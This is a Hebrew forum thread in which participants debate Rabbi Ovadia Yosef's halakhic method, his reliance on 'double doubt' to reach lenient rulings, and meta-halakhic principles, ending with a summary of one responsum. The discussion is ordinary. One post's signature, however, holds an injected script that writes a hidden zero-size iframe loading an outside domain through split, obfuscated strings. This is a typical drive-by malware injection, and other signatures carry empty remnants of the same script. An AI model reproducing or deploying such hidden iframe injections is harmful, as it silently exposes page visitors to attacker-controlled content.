|
|
| נשלח ב-17/10/2013 07:35 |
 |
| |
בעיקר שומע
ברוך הבא אל הפורום!
מה שכתבת על "אג'נדה" הוא בעיני מה שאני קורא "מטא הלכה".
לכל פוסק יש את זה.
לפעמים מודע יותר, לפעמים ממש מנוסח, ולפעמים לא.
בתוך האג'נדה יכולות להיות סתירות. ואז לפעמים בוחרים בצד זה, לפעמים בצד אחר.
מה שהיה ראוי לעשות, וכבר כתב כאן אחד החברים שיש סתירות בניסוחים המפורשים של הר"ע, הוא לזהות את רכיבי המטא הלכה וכללי הפסק שהר"ע דגל בהם.
|
|
|
|
| נשלח ב-17/10/2013 07:37 |
|
| |
בפורום השכן סו"ס כתב מוטיבן שלום תיאור של המתודה של "ספק ספיקא" ששימשה לדבריו את הרב עובדיה כדי לאפשר לו לחלוק על שיטות ולהכריע בכיוון שהיה נראה לו. זאת למרות המחוייבות המוצהרת למרן השו"ע ואולי גם לרמב"ם.
אני מעתיק, ומזכיר שהדברים נכתבו בחדות ויש לקחת מהם את הרעיון ולא את הצורה הפחות נעימה.
מרן הספק ספיקא שליט"א של הרב עובדיה יוסף זצ"לנראה שהרב עובדיה לא הולך לפי מרן ולא לפי הרמב"ם, וכל האמירות על הליכה בדרכם זה בעיקר רק מס שפתיים בעלמא להמונים.
זה מסביר באחת כמעט את כל אותם פעמים בהם הוא חולק על מרן. מכח ספק ספיקא.
כי לעניין מעשה, הרב עובדיה עושה ספק ספיקא לכתחילה נגד מרן והרמב"ם כמעט בכל תנאי ובכל מצב.
והרי ידוע שעם נבירה בספרייתו הגדולה, ניתן למצוא בספרים הללו מחלוקות על כל פרט ופרט של השלחן ערוך, ומכאן המסקנה הבלתי נמנעת שניתן לעשות ספק ספיקא על כל סעיף וכל הלכה.
ואם יתעקש המתעקש, הוא יצרף לכך גם דעה דחויה ואז ייהפך לספק-ספק-ספיקא. ושאר נימוקים צדדיים.
הגעתי למסקנה אחת ויחידה, " מרן" של הרב עובדיה הוא לא אחר מאשר " מרן הגאון ספק ספיקא" .
וכידוע " מרן הספק ספיקא" יש לו כחא דהיתרא חזק מאד. כח כזה חזק, שאפילו ילד קטן יכול להשתמש בטכניקה הזו ולהתיר כמעט כל מה שחשקה נפשו.
כל מה שהוא זקוק לו לחזות בנועם זיו מרן הספק ספיקא שליט"א זה רק שתהיה לידו אנציקלופדיה ובה יובאו כל המחלוקות שעל כל סעיף בשלחן ערוך, כי אז לא נותר לו אלא ליצור ספק-ספיקא כיד הטכניקה הטובה עליו. והנער הזה באחת יהיה למתיר הגדול בדורינו.
דו"ק ותמצא.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-17/10/2013 11:26 |
|
| |
צודק באלף אחוז.
|
|
|
|
| נשלח ב-17/10/2013 13:51 |
|
| |
כתוספת למובא לעיל אודות שיטת ה"ספקות" וה"ספק ספיקא" כבסיס להיתר.
הכותב דלעיל כתב בנימה של גנות. אני סבור, כפי שיתברר לקמן, שיש כאן נושא ראוי לשבח - ולמחקר.
ניתן לדרג את כל שיטות הפסק - והפרשנות - על פני ציר, או לסדרן כמידרג, בהתאם לנאמנותן למקורות כפשוטם.
כיון שלרוב השאלות אין תשובה פשוטה וישירה, מציאת התשובה לשאלה בהלכה היא ענין של לימוד של מספר שיטות והכרעה ביניהן.
לדעתי, פוסקים גדולים (ויש להבהיר את הכוונה במונח זה) משתמשים לא רק בלימוד שיטות ובהכרעה ביניהן אלא גם משתמשים בהנחות יסוד מטא הלכתיות. כמו יעדי התורה, לחנך את החברה והאדם, למנוע היזק מרובה, להרבות טוב ושלום בעולם, ועוד ועוד.
כאשר המסקנה העולה מניתוח הלכתי עומדת בסתירה למטרות מטא הלכתיות, ניתן להציע שני פתרונות מרכזיים. אפשר לומר: יקוב הדין את ההר, ולתת את הפתרון המחמיר. ואפשר לרצות את הפתרון המקל והראוי (מסיבות מוצדקות לפי המטא הלכה!) ואז צריך לעגן אותו במקורות.
אם יש מחלוקת שיטות, אפשר להצדיק את השיטה המקילה.
אם אין מספיק מקורות, אזי הפוסק עשוי להשתמש ביכולתו הפרשנית כדי למצוא היתר. הזכרתי לעיל את הנודע ביהודה כי זכור לי במעומעם כיצד הציע פרשנות משלו לסוגיות בגמרא - נגד פשטותן - כדי להצדיק באמצעות פרשנות זו היתר בפרשה קשה.
אפשר, לפי מה שכתבו על הרב עובדיה, שהיתה לו דרך משלו להגיע לפסקים ולהכרעות שיהיו מוצדקים מסיבות מטא הלכתיות.
מתוך כל הניתוח הזה והמושגים שבהם הצעתי להשתמש, ניתן להגיע למסקנה המחקרית כי כאשר דנים בשיטתו של פוסק, יש לדון גם או בעיקר על המקרים של שאלות שבהן המערכת הפרשנית אינה מצדיקה במישרין פתרון שנדרש לפי תנאי המטא הלכה. ואז יש לבדוק שני דברים: את כללי הפרשנות או הפסק שבהם הפוסק משתמש ואת המטא הלכות שמכוונות אותו, את הפוסק, לעבר פסק מסויים בסגנון מסויים.
אם ניתן להסתמך על זכרון מעומעם שלי מהנו"ב ועל מה שאומרים על הרב עובדיה, אזי גם הנודע ביהודה וגם הרב עובדיה לא היססו להפעיל כוח דהיתרא בפרשיות קשות, אבל הנו"ב עשה זאת על ידי פרשנות ואילו הרב עובדיה, נאמן למחשבה ישרה ולמקורות, העדיף לעשות זאת כשהוא מסתמך על אירגון שיטות פרשניות קיימות.
יש לבדוק אם דברי נכונים לפי מה שכתב הר"ע מכאן ומה שכתב הנו"ב מכאן.
המנגנון המושגי שהצעתי יכול לשמש כבסיס שעליו ייבחנו פוסקים וכתביהם.
כל מה שכתבתי עד כאן הוא מופשט, כללי ולכן קשה לעקוב אחריו. כדאי לתרגמו לשאלות מעשיות.
הרב עובדיה עסק בשאלות כמו היתר מכירה בשביעית. הוא התיר להסתמך על המכירה, ומה היה טעמו? כדאי לבדוק את המקורות ואת פרשנותו להם.
בחירת התשובה של ההיתר נעוצה לדעתי במטא הלכה - שאותה שמעתי בשמו כתורה שבעל פה אבל לא באופן ודאי - כי אין להחמיר על ההמון לאסור להשתמש בהיתר מכירה כי לא יעמדו בזה (רק מעטים יחסית ינהגו כמו הציבור החרדי המייבא ירקות ופירות מחו"ל, למשל). אמנם איני יודע מה היתה הפרשנות ומה היו מאפייניה שהובילו למסקנה זו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 17/10/2013 13:52:45
|
|
|
|
|
| נשלח ב-17/10/2013 14:05 |
|
| |
אם לומדים באמת סוגיות בעיון, גמרא ראשונים ואחרונים, אזי מגלים שלכל סוגיה יש טעמים שונים ודקויות, הנעלמות הן מלימוד ראשוני והן מהכללות גסות. רק אחרי לימוד של הרבה סוגיות כנ"ל, אולי זוכים לאורייתא. יש מאות עד אלפי כללים לפסיקה. מה נכון לעשות דורש שיקול דעת דק, לו זוכים ע"י שימוש ת"ח ולימוד פסיקות של פוסקים קודמים לפני ולפנים.
לנסות להבין פסקים מבלי להתייגע בלימוד הסוגיות עצמן, בד"כ מביא למסקנות שטחיות. אם לא דבר ריק הוא מכם וכו'.
|
|
|
|
| נשלח ב-17/10/2013 20:21 |
|
| |
| מיימוני כתב: |  | ב
לכל פוסק יש את זה.
לפעמים מודע יותר, לפעמים ממש מנוסח, ולפעמים לא.
בתוך האג'נדה יכולות להיות סתירות. ואז לפעמים בוחרים בצד זה, לפעמים בצד אחר.
|
|
ללא ספק, אבל אי הניסוח המפורש גם לדעתי ללא ספק מראה על משהו, בפרט בדיבור ה'מתגלגל' משהו של הגר"ע.
באמת צריך לחשוב על מה זה מראה. מה אומרים?
|
|
|
|
| נשלח ב-17/10/2013 22:52 |
|
| |
חזו"א או"ח קונטרס השיעורים לט,ה: "וכתב לי נאמן, שמסר לו הרב"צ ידלר שליט"א ממונה על תיקון עירובין בירושלים, שגם הגרש"ס זצ"ל זקן ההוראה של ירושלים היה מקיל פרצה עד עשר אמות... ואמנם זה שהיה מחמיר אין זו הוראה אלא מדה טובה ויפה, אבל זה שלא היה אוסר בשעה שלא היה אפשר לגדור [והיו אלפי רבבות ישראל מיקירי ירושלים נושאים משא בחוצות ירושלים ע"פ הוראת רבם באין מוחה ומערער] זו היא עיקר ההוראה...".
אשליה לחשוב שהציבור הליטאי לא נוהג לפי פסקי הרב עובדיה יוסף.
הרב יוסף ישב בבתי הדין עם גדולי הדיינים מישיבות ליטא, ופסקיהם בעניני יוחסין, נישואין וגירושין, וגיור, הם שעל פיהם נוהגים בכל ארץ ישראל. ההחלטות החמורות בהלכה התקבלו על ידו עם הרש"ז אוירבך והרב אלישיב. פסקי הרבנות מגדירים את גבולות ההלכה, והנוהג על פיהם אינו חשוד על הדבר או משומד.
פסקיו מבוססים על איסוף מקורות וסברה פשטנית, כמו הרב אלישיב והרב אליהו, ויבלח"א הרב ואזנר והרב מרדכי גרוס. כל האיפיונים האחרים "דעת מרן" וכו' הם תעמולה לפשוטי העם.
הדגשת הבדלי פסיקה נועדה לצרכים חינוכיים פנימיים של הגיל הרך, בדומה להבדלים בנוסח התפילה בין החסידויות.
|
|
|
|
| נשלח ב-20/10/2013 22:15 |
|
| |
לא למדתי בשיטתיות ספרי הרב עובדיה אבל ממה שראיתי לא זכור לי שראיתי אי פעם אצלו סברא / קושיא / תירוץ גאוני. קשה להגדיר מהו גאוני אבל הכוונה לניתוח מעבר לנראה לעין. זו יכולה להיות סברא פשוטה מאוד (וגם צריכה להיות פשוטה -הפלפולים לרוב אינם גאונות אלא דברי הבל) אבל מעבר לטריויאלי. כמו סברת הנודע ביהודה שאין בכלים דין דבר שיש לו מתירין. זו סברא פשוטה מאוד ומובנת מאוד אבל לגלות אותה צריך חשיבה מעבר לטריויאלי.
|
|
|
|
| נשלח ב-21/10/2013 07:22 |
|
| |
אשכול מעניין בסו"ס על כללי פסיקה ועל סדרת ספרים של בנו של הר"ע, הרב יצחק.
עין יצחק: כללי הש"ס והפוסקים להר"י יוסף
(תמיד כדאי לציין את שם האשכול לימים שבהם תשתנה צורת הלינק ורק החיפוש במסך הראשי של פורום אחרי שם אשכול ימשיך לעבוד).
האשכול עוסק בבנו של הר"י יוסף אבל יש בו חומר מעניין על ערכם של כללי פסיקה. גילוי נאות: קראתי רק שנים שלושה עמודים.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-21/10/2013 07:33 |
|
| |
הערות
מ כתב הערה חשובה לעיל, שסופה נוגע לאשכול שציינתי בהודעה הקודמת, על חשיבותם ואי חשיבותם של כללי פסיקה. בראשית דבריו כתב:
אם לומדים באמת סוגיות בעיון, גמרא ראשונים ואחרונים, אזי מגלים שלכל סוגיה יש טעמים שונים ודקויות, הנעלמות הן מלימוד ראשוני והן מהכללות גסות. רק אחרי לימוד של הרבה סוגיות כנ"ל, אולי זוכים לאורייתא.
יש מאות עד אלפי כללים לפסיקה. מה נכון לעשות דורש שיקול דעת דק, לו זוכים ע"י שימוש ת"ח ולימוד פסיקות של פוסקים קודמים לפני ולפנים.
אני מסכים שסוגיות טעונות לימוד מעמיק, ושלכל סוגיה יש כמה מהלכים אפשריים ונוגדים. אני גם מסכים שההכרעה בין מסלולי פירוש אינה מעשה טכני אלא תלויה בסברות שלא תמיד ניתנות לניסוח ממצה במילים.
אני כן סבור ומוסיף על דבריו שהימצאותם של מסלולי פרשנות נוגדים ואף סותרים מביאה לכך שמבחינה הרמנויטית (=הפילוסופיה של הפרשנות) טקסטים מסוג זה הם פתוחים. כלומר, הם סובלים כמה פרשנויות ולכן:
א. יש מקום לשאול מה המשמעות האמיתית, ההיסטורית, של מימרות ושל סוגיות (הכורכות יחד מימרות במבנה של דיון. לעתים דיון חי ואמיתי ולפעמים דיון מלאכותי ודידקטי).
ב. המשמעות ההיסטורית אינה זו הקובעת להלכה. פעמים רבות נדחה מקור קדום בשיטות שונות כמו אוקימתא, ייחוס לתנא דחוי, הגהה לשונית ועוד.
אפשרויות הפרשנות והפסק הרבות הופכות את הכרעת הדין ואת בחירת הפסק לענין המסור בידי הפוסק. וכאשר הפוסק, לדעתי וכפי שכתבתי כאן ובמקומות אחרים, יש לו תפיסה מטא הלכתית, היא זו שתכוון אותו לפסוק כך ולא אחרת.
במילים אלו אני יוצא לחלוק על לא אחר מאשר רבנו החזו"א, רבו של רבי, זכר שניהם לברכת עולמים. החזו"א הציג את הפסק כהכרעה המסתמכת אמנם על "אובנתא דליבא", הבנת הלב שאינה ניתנת למיצוי מילולי והיא גם נסתרת ומסורה לגדולים (הכוונה לא לנבחרי פוליטיקה וסוציולוגיה אלא לבעלי כישורים, התמדה, מאמץ, יושר, יראת שמים ועוד). אמנם דומה מדבריו שהכרעה כזו יכולה להתקבל באופן כמו לוגי, דדוקטיבי, כמסקנה מהנחות יסוד הלקוחות מן הגמרא. במה איני מסכים לזה? במה שנכלל במטא הלכה של החזו"א שהוא, חוששני, שונה משלי. החזו"א ראה בהלכה מערכת עצמאית ועצמית, ללא ערכים חיצוניים. אני רואה בהלכה אמצעי ולא מטרה, ובזאת אני שב אל הרמב"ם.
חוששני שיצאתי לגמרי מנושא האשכול. אבל היתה זו הזדמנות לנסח לעצמי כללים ועקרונות. ראויים הדברים לעיון רב אבל מקומם גם כאן, בדיון על המטא הלכה של פוסקים.
***
בעיקר שומע
לא הבהרתי את עצמי יפה.
אנו מדברים, אם הבנתיך, על שתי תופעות שונות.
אני התכוונתי לכך שהמטא הלכה אינה מודעת תמיד לפוסק עצמו כמערכת מומשגת, מנוסחת. אך היא מודעת לו כמכוונת את גישתו לפסק. כפי שנאמר בעבר באשכול על הרב אלישיב, וכפי שהוצג בידי חוקר מאוניברסיטת באר שבע (ספרן, כמדומה שזכית למקומו הפנוי של לינקי, התוכל להפנות ללינק למאמר שניתן להורדה ברשת ולשם המחבר?) - הרב אלישיב היה הטרונומיסט, ואולי הושפע מכך שההלכה משרתת את הקבלה. הרמב"ם, בדור אחר, ראה את ההלכה כמכשיר שמטרתו חינוכית. החזו"א נמצא באמצע.
אתה, בעיקר שומע, מעיר על כך שיש הימנעות מכוונת מניסוחים של מטא הלכה. לדעתי אין זה דבר מכוון כי עד להופעת המונח הזה בדיונים כאן (או במחקרים של חוקרים ולא פוסקים), הנושא שיש מטא הלכה לא עלה לדיון באופן שיטתי ולא הצריך דיון כזה. הוא היה מובן מאליו למי שער לכך ונעלם מעיני מי שלא, כלומר טכנאי הלכה שרואים בבירור של פסק בשאלה פרטית מעשה דדוקטיבי של איסוף שיטות ושיקלולן לפי הערך המרכזי שלהם של "לצאת ידי חובה".
הארכתי ועדיין הדברים קצרים וטעונים עיון רב. מקוה שיהיו להועיל. אשמח להרחיב בל"נ.
|
|
|
|
|
| נשלח ב-21/10/2013 07:37 |
|
| |
דברי יעבץ חשובים ונוגעים ללינק שהבאתי לעיל. סליחה, אבל לא תמיד אני זוכר להזכיר את כל המגיבים והתגובות הראויים לאיזכור ולאיקון ירוק.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-21/10/2013 13:00 |
|
| |
מיימוני כתב "החזו"א ראה בהלכה מערכת עצמאית ועצמית, ללא ערכים חיצוניים. אני רואה בהלכה אמצעי ולא מטרה, ובזאת אני שב אל הרמב"ם".
דא עקא שהקביעה שהרמב"ם חשב כך גם היא תלויה במטא השקפה (כי אתהר"מ ניתן להבין לפחות בשני אופנים)
|
|
|
|
| נשלח ב-14/1/2014 07:40 |
|
| |
הגעתי לתשובה הבאה של הרב עובדיה יוסף ע"ה
יביע אומר ד, יורה דעה ו
(הרשיתי לעצמי להעיר כאן הערות כפי שיטתי שלי ועם המעיינים הסליחה).
השאלה עוסקת במי שנזקק לפרנסתו לבשל במסעדת טריפה לגויים, אם מותר הדבר.
נשאלתי מאדם ירא ה' שמחוסר פרנסה זה זמן ממושך, וכעת נזדמן לו לעבוד כטבח במסעדה של גוים, ועליו לבשל להם ג"כ תבשילים של בשר בהמה טמאה ונבלות וטריפות, אם מותר לו לבשל לעכו"ם מהם ולא גזרינן שמא יאכל, או יש איזה איסור בדבר.
התשובה ארוכה למדי ומסועפת. לא היה לי זמן לעיין בכולה ובוודאי לא במקורות שהובאו בה אבל אני מנסה לסכם מה שביכולתי (ונוכח בפער בינו לבין עצמי...).
עד כמה שניתן לראות, יש כמה סיבות לאסור, והרב עובדיה בוחן את כולן.
א. איסור בשר בחלב.
ב. איסור לעשות סחורה בדבר האסור.
ג. שמא יבוא לאכול
ד. מראית עין, חשד
בתשובתו הארוכה הרב עובדיה סוקר את השיטות מן המקורות, ועד לאחרונים ואחרוני אחרונים. הוא מסדר את הדיון לפי הטעמים האפשריים לאיסור (אם כי אינו עושה רשימה שלהם כפי שעשיתי כאן, וחבל, אבל כמדומה שגישה כזו סיכומית לא היתה מצויה גם לפניו ובוודאי היו הדברים מסודרים בדעתו).
אגב כך אנו מקבלים תמונה על התפתחות ההלכה (מונח שנזהרתי ממנו בימי הפורום הראשונים, אבל חזרתי בי).
הדיון מתחיל באיסור בשר בחלב. והרב עובדיה מביא משנה להתיר ואת דברי הרמ"א לאסור לכתחילה. מכאן ואילך הוא מונה פסקים ושיטות וטעמים להתיר ולאסור.
וכמו פוסקים ומפרשים לפניו, הוא מביא ראיה גדולה ממעשה באדם שהיה מוכר בשר, ומכר בשר טרף או חזיר לגויים ובשר כשר ליהודים ועקב גזירת השלטון הכריע מה לתת לכל אורח לפי זהירותו בנטילת ידים. סיפור יפה זה בש"ס מובא לדיון אצל מפרשים ופוסקים כדי לבדוק אם מותר היה לו לעשות כן (ומי אומר שהיה צדיק ועושה כרצון חכמים).
בתוך הדיון הוא דן באיסורים נוספים, כמו האיסור לעשות סחורה בדבר האסור, שלדעת הרמב"ם (כך זכור לי) הוא רק מדרבנן, אבל פוסקים אחרים כתבו שהוא מן התורה, ותופס את הפר"ח שפירש את הרשב"א נגד דעתו מפני שלא ראה אלא רק קיצור דבריו.
ויש עוד הרבה, ואני מתנצל, אבל זמני לא הרשה לי לעיין, מה גם שאני (בשיטת הפסק שלי), איני מתחשב בשל מחסור בזמן בכל השיטות שנאמרו (בניגוד לרב עובדיה, שהיה מוכשר ממני וענו ממני ביחסו לגדולי הדורות), איני טורח כולי האי ומסתמך על הסברות המקוריות שניתן לזהות בפוסקים, אבל האשכול אמור לעסוק ברב עובדיה (אבל אוכל לטעון שחשוב גם לברר איך פוסקים ואיך מעיינים כדי לפסוק ומה יעשה אדם שאינו בסדר גודל של הר"ע ואין זמנו בידו).
עיקר התשובה (שמופיע לפני הסעיף האחרון):
(לאחריה יש דיון אם יש לחשוש לאיסור בשר בחלב בטעם כעיקר ובאינו בן יומו)
שו"ת יביע אומר חלק ד - יורה דעה סימן ו
המיספור בספרות שלי ומפנה לדיון לקמן.
י.
(1) המורם מכל האמור שיש בנ"ד הרבה פוסקים מיימינים ומשמאילים להקל ולהחמיר. ונכון מאד לעשות כל טצדקי להתפרנס בדרכי היתר בטוחים, לחוש לדעת הרבה אחרונים הנוטים לחומרא בנ"ד.
(2) אולם כשאין מוצא, וכידוע כי בעתות לצרה אלו בעוה"ר קשה מאד להשיג פרנסה יותר ויותר מקריעת ים סוף, הרוצה לסמוך ולהקל ע"פ דברי המהרש"א בחולין (קו) יש לו ע"מ שיסמוך. ובפרט שכ"כ הגאון בעל שם אריה (חיו"ד סי' כו). וכן הגאון בעל חלקת יואב (חיו"ד סי' יח) הביא דברי המהרש"א להלכה. וגם המאירי חולין (עמוד תעב) כתב להדיא שמותר לבשל בשר חזיר בחלב לכתחלה לצורך גוים. ומוכח דאפי' איסורא דרבנן ליכא.
(3) וכבר אמרו חז"ל (ב"ב קי) לעולם ימכור אדם עצמו לעבודה שזרה לו ואל יצטרך לבריות. וכדא"ל רב לרב כהנא נטוש נבילתא בשוקא ושקול אגרא ולא תימא גברא רבה אנא וזילא בי מילתא. ע"ש.
(4) אלא שבמשך כל הזמן ישתדל למצוא מקור מחיה אחר, וכשימצא יעזוב מיד את עבודתו זאת. (ובזה יש פנים לחשבו כנזדמנו לו.)
(5) אולם יש להזהיר את השואל בראש וראשונה כי יזהר היטב לעמוד על המשמר שלא יטעום מן התבשילים האסורים, ולא יתגאל בפת - בגם. וכן יש להזהירו ולהודיעו שלא יבשל מאכלי בשר של בהמה טהורה, ואפי' נבלות וטרפות, בסירים ויורות של חלב טהור, כשהם בני יומם, שיש בזה חשש איסור בישול בשר בחלב. ואף על פי שרק הבשר בעין, ואילו החלב בלוע בקדרה, יש בזה חשש איסור, למ"ד טעם כעיקר דאורייתא, שפסק מרן ביו"ד (סי' צח ס"ב) כוותיה. ועוד דבחולין (קח) מוכח להדיא דבבשר בחלב לכ"ע טעם כעיקר דאורייתא.
(ובסוף הוא מוסיף שאם אין כאן קדירה בת יומא אין צורך להחמיר).
אני מסכם את מה שאני מוצא בדברים:
1. לכתחילה יש לחוש לאוסרים.
2. אם אין פרנסה זו סיבה להקל. וכאן הוא מוסיף שבעצם אין כאן שום איסור. איני יודע איך יש להבין את הלשון כאן, האם זה רק לשיטת המקילים, או שסבר שבאמת מותר ורק מחמירים כדעת המחמירים לכתחילה. ואף איני יודע אם עסק אי פעם בשאלה האם יש נכון לגמרי בהלכה או שזו מערכת שבה השיקולים הם פרגמטיים ואין כאן מקום לבירור של אמת היסטורית כלל (אני מקוה שהסברתי למה הכוונה כי זה חשוב מאד).
3. מן ההוכחה שאדם צריך לפשוט נבילה בשוק נראה שהסיבה להחמיר אינה איסור אלא רצון טבעי של האדם להדר, ואסור להדר במקום שאי אפשר. שאם לא כן, מה יש לצטט את המקור הזה. אבל הדברים אינם כתובים בבירור.
4. כל ההיתר הוא זמני ובשעת הדחק.
4ב. יש כאן סברה גאונית שנאמרת בהצנע. כאשר אדם עוסק בתחום באופן זמני, זה נקרא "נזדמנו לו", שזו סיבה להתיר באיסור סחורה (אחד האיסורים שיש להתחשב בהם).
5. לצד ההיתר, יש להתריע בפני השואל שיש איסורים שיש להיזהר בהם בשעת ההיתר.
וכאן יש מקום לעיין מה הצורך להתריע. האם זו חובת השואל או חובת המתיר. והאם זה כדי לצאת ידי חובת האוסרים או כדי לצאת ידי הרושם שיש זלזול באוסרים?
לאחר היתר זה נפתח דיון חדש בנושא של טעם כעיקר, הראוי לדיון בפני עצמו גם אצלנו, מפני שזו מחלוקת בין הרמב"ם המתיר לבין ר"ת האוסר, כאשר השו"ע - שהרב עובדיה כופף עצמו ואת הציבור אליו - עוד נושא לדיון - הוא מחמיר, ועוד שבגמרא טוען הר"ע שמשמע בבשר בחלב כך (ואיני זוכר את הסוגיה ואין זמני בידי לעיין, אך לגבי עצם טעם כעיקר יש להעיר שזו מחלוקת סוגיות והסוגיה המרכזית מנותחת בידי חוקרים בני הדור הקודם כדי לזהות בה שכבות, והפוסקים אינם רגילים לעיין בזה אבל ראוי להתחשב בכך).
|
|
|
|
|
|
